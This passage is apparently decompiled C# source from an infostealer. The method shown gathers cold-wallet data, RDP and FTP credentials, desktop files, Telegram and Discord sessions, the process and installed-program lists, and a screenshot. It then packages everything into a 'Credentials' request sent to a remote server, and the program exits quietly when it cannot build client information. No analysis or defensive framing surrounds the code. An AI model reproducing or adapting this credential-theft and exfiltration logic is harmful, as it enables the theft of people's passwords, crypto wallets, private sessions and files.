                    foreach (ICredentialsManager <ColdWallet> credentialsManager2 in this.ColdWalletManagers)
                    {
                        list2.AddRange(credentialsManager2.GetAll().IsNull(new List <ColdWallet>()));
                    }
                }
                List <RdpCredential> list3 = new List <RdpCredential>();
                if (clientSettings.GrabRdp)
                {
                    foreach (ICredentialsManager <RdpCredential> credentialsManager3 in this.RdpManagers)
                    {
                        list3.AddRange(credentialsManager3.GetAll().IsNull <IEnumerable <RdpCredential> >());
                    }
                }
                List <DesktopFile> list4 = new List <DesktopFile>();
                if (clientSettings.GrabDesktopFiles)
                {
                    foreach (DesktopFileManager desktopFileManager in this.DesktopFileManagers)
                    {
                        desktopFileManager.DesktopFileExtensions = clientSettings.DesktopExtensions;
                        list4.AddRange(desktopFileManager.GetAll());
                    }
                }
                List <FtpCredential> list5 = new List <FtpCredential>();
                if (clientSettings.GrabFtp)
                {
                    foreach (ICredentialsManager <FtpCredential> credentialsManager4 in this.FtpManagers)
                    {
                        list5.AddRange(credentialsManager4.GetAll().IsNull <IEnumerable <FtpCredential> >());
                    }
                }
                RemoteClientInformation remoteClientInformation = ClientInfoHelper.Create(this.BuildID);
                if (remoteClientInformation == null)
                {
                    Environment.Exit(0);
                }
                CredentialsRequest objectToSend = new CredentialsRequest
                {
                    ClientInformation = remoteClientInformation,
                    BrowserProfiles   = list,
                    ColdWallets       = list2,
                    RdpConnections    = list3,
                    DesktopFiles      = list4,
                    FtpCredentials    = list5,
                    Telegram          = (clientSettings.GrabTelegram ? TelegramManager.Extract() : new TelegramSession()),
                    Discord           = (clientSettings.GrabDiscord ? DiscordManager.Extract() : new DiscordSession()),
                    ProcessList       = ClientInfoHelper.ListOfProcesses(),
                    InstalledPrograms = ClientInfoHelper.ListOfPrograms(),
                    Screenshot        = ClientInfoHelper.CaptureScreen()
                };
                result = this.Server.SendRequest(objectToSend, "Credentials", 600000)();
            }
            catch
            {
                result = false;
            }
            return(result);
        }